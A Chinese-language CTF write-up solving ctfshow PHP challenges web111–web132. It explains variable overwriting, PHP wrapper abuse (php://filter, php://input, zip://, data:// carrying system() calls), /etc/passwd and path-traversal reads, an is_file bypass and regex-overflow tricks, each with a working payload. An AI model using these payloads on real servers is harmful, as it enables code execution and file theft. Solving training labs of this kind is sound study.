文章目录
web111
- 由下面正则可知,v1传ctfshow就行
- $ $ v1=& $ $v2
&
类似于指针,其实这个语句就是变量覆盖。我们想要flag,但是include(flag.php)是在函数之外的,我们可以传参进来,例如v2=_GET[‘flag’],但是下划线已经b a n了,所以我们考虑用全局变量 - 由于var_dump能显示类型,所以这样构造
?v1=ctfshow & v2=GLOBALS
web112
这个题的意思是必须传入个不存在的文件才通过判断
我一开始i想着用伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
但是忘记了前面文件的判断base64被禁了,这个文件根本不能过判断
所以换成
?file=php://filter/resource=flag.php
web113
上一题php://filter
已经用不了了,换一些伪协议
总结一下伪协议
- php://filter
php://filter/resource=index.php
php://filter/read=convert.base64-encode/resource=index.php
- php://input
遇到file_get_contents()要想到用php://input绕过,post想设置的文件内容,c=system('ls');
- zip://
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。 相同的类型的还有zlib://和bzip2://
- file://
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件
(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword
http://www.xx.com?file=file:/// //访问根目录
- data://
利用base64解码
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
通配符绕过flag
?c=data://text/plain,<?php system('cat fl*')?>
- ?file=compress.zlib://file.gz
- glob://flag.php
解法一
我们看看这道题,payload是:
?file=compress.zlib://flag.php
解法二
目录溢出:is_file()会认为他不是文件,那么就能执行
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
web114
- 目录溢出无法执行,因为root被ban了
- glob://也错误,因为返回的是数组,而
highlight_file
对数组是不显示高亮的 - payload:
payload: php://filter/resource=flag.php
web115
这道题有很多的判断条件,我们可以每个都拿出来放在本地测试
写个本地测试代码
- is_numeric()
<?php
$num=$_GET['num'];
var_dump(is_numeric($num));
?>
这个过了,下一个。
- num!==36
发现这里返回false,36a不属于数字,那我们考虑控制字符,例如换行分页。试了几次后,发现前面加空格
可以绕过
下一个函数 - trim($num)!==36
没有%0c
换页符。那我们试一下
<?php
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
var_dump(is_numeric($num)and$num!=='36'and trim($num)!=='36'and filter($num)=='36'and $num=='36');
?>
成功是成功了,但这里明显有个矛盾:
var_dump($num!=='36'and $num=='36');
需要翻一下php手册
-
如果比较一个字符串和数字或者比较涉及到数字内容的字符串,则字符串会被
转换为数值
并且比较按照字符串来进行。$num=='36’中,36是个字符串,转换为数值后还是36。
我们传进去的%0c36,转换为数值后也是36 -
当用===或 !==进行比较时则不进行类型转换,因为此时
类型和数值
都要进行比对。所以$num!==‘36’
web123
先过第一层判断:post里面传送
CTF_SHOW=1&CTF[SHOW.COM=2
- PHP变量名应该只有
数字字母下划线
,同时GET或POST方式传进去的变量名,会自动将空格 + . [
转换为_
- 转换规则:对变量名里面不符合规则的变量只转换一次(类似双写绕过,pphphp,将中间的php转换为空)
试着绕过第三个判断
- GET
?2=flag_give_me
- POST
CTF_SHOW=1&CTF[SHOW.COM=2&fun=$fl0g=$_GET[2]
虽然没有执行,但这个确实是一个新思路
echo等价于var_dump,print_r
get_included_files()
返回被Include和require文件名的arrayimplode()
将一个一维数组的值转化为字符串get_defined_vars
返回所有已定义变量所组成的数组
构造payload
CTF_SHOW=1&CTF[SHOW.COM=2&echo implode (get_defined_vars)
web125
前面的构造是一样的,那么既然GLOBALS被ban了,我们看看别的方法
看我圈起来的地方,前面不让传get,后面又需要相等,我们可以用post进行变量覆盖,这里涉及到extract()函数
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
web127
这里我们传入就行,但发现下划线已经ban了,又是之前的考点
- PHP变量名应该只有
数字字母下划线
,同时GET或POST方式传进去的变量名,会自动将空格 + . [
转换为_
payload:
?ctf%20show=ilove36d
web128
-
_()
是一个函数。 -
_()==gettext()
是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。 -
call_user_func
— 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 -
当正常的gettext(“get_defined_vars”);时会返还get_defined_vars
-
为了绕过正则,()函数和gettext()的效果一样,所以可以用()函数代替gettext()函数。
-
call_user_func会利用_()将get_defined_vars返还出来然后再用
call_user_func来调用get_defined_vars函数,然后利用var_dump函数就可以得到flag。
web129(遍历目录)
- stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
也就是ctfshow不能出现在第一个位置
- strpos()区分大小写
payload
?f=../ctfshow/../../www/html/flag.php
因为默认目录是var/www/html,…/ctfshow/到了html目录,…/ctfshow/…/到了www目录,…/ctfshow/…/…/就到了var目录
也可以这么写
?f=/ctfshow/../../../../var/www/html/flag.php
还有一种方法
把ctfshow当作当前目录下的一个文件,当时ctfshow能是开头,用./ctfshow替换
.尝试输出/etc/passwd的内容,在中间加…/
然后把etc/passwd替换成var/www/html/flag.php
查看源代码,拿到flag
web130
- 要想绕过第一个判断条件,也就是这个正则。因为前面有个+,也就是?至少匹配一次。
- 要想绕过第二个判断条件,其实我们看,
stripos()
查找字符串首次出现的位置(不区分大小写),是int
型,那么与后面的字符串类型一定不相等
所以我们构造payload:
f=ctfshow
web131(正则表达式溢出)
正则表达式对长度有限制,以后可以试试溢出做题
<?php
$a=str_repeat('show',250000);
$b=$a.'36Dctfshow';
echo $b;
?>
web132
一打开是个网页,在没有思路的情况下我们可以看一下robots
协议
打开后就是我们的题目
这里主要考察优先级
我们想要这条语句为真
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
$$是两边为真即为真,||是有一边为真就是真,那我们我们直接控制username
payload:
admin/?username=admin&password=b&code=admin
文章评论